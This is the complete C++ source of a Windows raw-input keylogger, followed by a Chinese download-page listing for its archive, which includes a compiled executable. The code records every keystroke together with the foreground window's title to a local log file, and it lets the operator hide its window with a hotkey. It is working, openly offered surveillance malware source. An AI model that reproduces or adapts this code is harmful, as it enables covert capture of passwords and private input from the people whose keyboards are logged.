#include "rawinput.h"
#include "vkey.h"
#include "resource.h"
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
HANDLE InitLogFile(void);
HANDLE hFile;
char *szHelpInfo = "键盘记录于kebodlog.txt中 -- 按HOME键显示本窗口,END键隐藏本窗口";
char *szThyInfo = "如需程序代码,欢迎访问黑色海岸线 www.thysea.com";
char *szEmail = "Eamil: redcoder@163.com";
INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, PSTR, INT iCmdShow)
{
HWND hWnd;
MSG msg;
WNDCLASS wndClass;
wndClass.style = CS_HREDRAW | CS_VREDRAW;
wndClass.lpfnWndProc = WndProc;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hInstance = hInstance;
wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);
wndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = TEXT("KBDLoger");
RegisterClass(&wndClass);
hWnd = CreateWindow(
TEXT("KBDLoger"), // window class name
TEXT("KBDLoger"), // window caption
WS_OVERLAPPEDWINDOW, // window style
200, // initial x position
200, // initial y position
480, // initial x size
110, // initial y size
NULL, // parent window handle
NULL, // window menu handle
hInstance, // program instance handle
NULL); // creation parameters
SendMessage(hWnd,WM_SETICON,ICON_BIG,(LPARAM)LoadIcon((HINSTANCE)GetWindowLong(hWnd,GWL_HINSTANCE),MAKEINTRESOURCE(IDI_ICON1)));
SendMessage(hWnd,WM_SETICON,ICON_SMALL,(LPARAM)LoadIcon((HINSTANCE)GetWindowLong(hWnd,GWL_HINSTANCE),MAKEINTRESOURCE(IDI_ICON1)));
hFile = InitLogFile();
if(!RegisitKeyBord(hWnd))
{
MessageBox(hWnd, "注册键盘原始输入设备失败", "Raw Input Test", 0);
return 0;
}
ShowWindow(hWnd, SW_NORMAL);
UpdateWindow(hWnd);
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
} // WinMain
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
HDC hdc;
PAINTSTRUCT ps;
char vk[256] = {'\0'};
HWND hwndCW = NULL;
char wtitle[128] = {'\0'};
UINT dwSize;
PGetRawInputData GetRawInputData = (PGetRawInputData)GetApiAdd("user32.dll", "GetRawInputData");
LPBYTE lpb = NULL;
RAWINPUT* raw = NULL;
DWORD dwWritten = 0;
switch(message)
{
case WM_INPUT:
if(NULL == GetRawInputData)
{
DefWindowProc(hWnd, message, wParam, lParam);
return 0;
}
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
lpb = new BYTE[dwSize];
if(lpb == NULL)
{
DefWindowProc(hWnd, message, wParam, lParam);
return 0;
}
if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
MessageBox(NULL, "GetRawInputData doesn't return correct size !", "Raw Input Test", 0);
raw = (RAWINPUT*)lpb;
if (raw->header.dwType == RIM_TYPEKEYBOARD)
{
// 获取当前键盘焦点窗口名称
hwndCW = GetForegroundWindow();
GetWindowText(hwndCW, wtitle, 128);
wsprintf(vk, "[%s]:%s\r\n", wtitle, GetKeyName(raw->data.keyboard.VKey));
if(hFile != INVALID_HANDLE_VALUE && ((WM_KEYDOWN == raw->data.keyboard.Message) || (WM_SYSKEYDOWN == raw->data.keyboard.Message)) && (0xFF !=raw->data.keyboard.VKey))
{
SetFilePointer(hFile, 0, NULL, FILE_END);
WriteFile(hFile, vk, strlen(vk), &dwWritten, NULL);
}
if( VK_HOME == raw->data.keyboard.VKey)
ShowWindow(hWnd, SW_NORMAL);
if( VK_END == raw->data.keyboard.VKey)
ShowWindow(hWnd, SW_HIDE);
}
delete[] lpb;
DefWindowProc(hWnd, message, wParam, lParam);
return 0;
case WM_PAINT:
hdc = BeginPaint(hWnd, &ps);
TextOut(hdc, 10, 10, szHelpInfo, strlen(szHelpInfo));
TextOut(hdc, 10, 30, szThyInfo, strlen(szThyInfo));
TextOut(hdc, 10, 50, szEmail, strlen(szEmail));
EndPaint(hWnd, &ps);
return 0;
case WM_DESTROY:
PostQuitMessage(0);
CloseHandle(hFile);
return 0;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
} // WndProc
HANDLE InitLogFile(void)
{
HANDLE hFile = CreateFile("kebodlog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
return hFile;
}
没有合适的资源?快使用搜索试试~ 我知道了~
资源推荐
资源详情
资源评论
收起资源包目录
raw input之键盘记录程序.rar (10个子文件)
KBDLogger
resource.h 458B
KBDLogger.cpp 5KB
KBDLogger.ico 766B
KBDLogger.rc 2KB
KBDLogger.dsp 4KB
rawinput.h 8KB
vkey.h 18KB
Release
KBDLogger.exe 24KB
KBDLogger.dsw 541B
rawinput.cpp 709B
共 10 条
- 1
流沙团
- 粉丝: 3
- 资源: 19
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功
- 1
- 2
- 3
- 4
- 5
前往页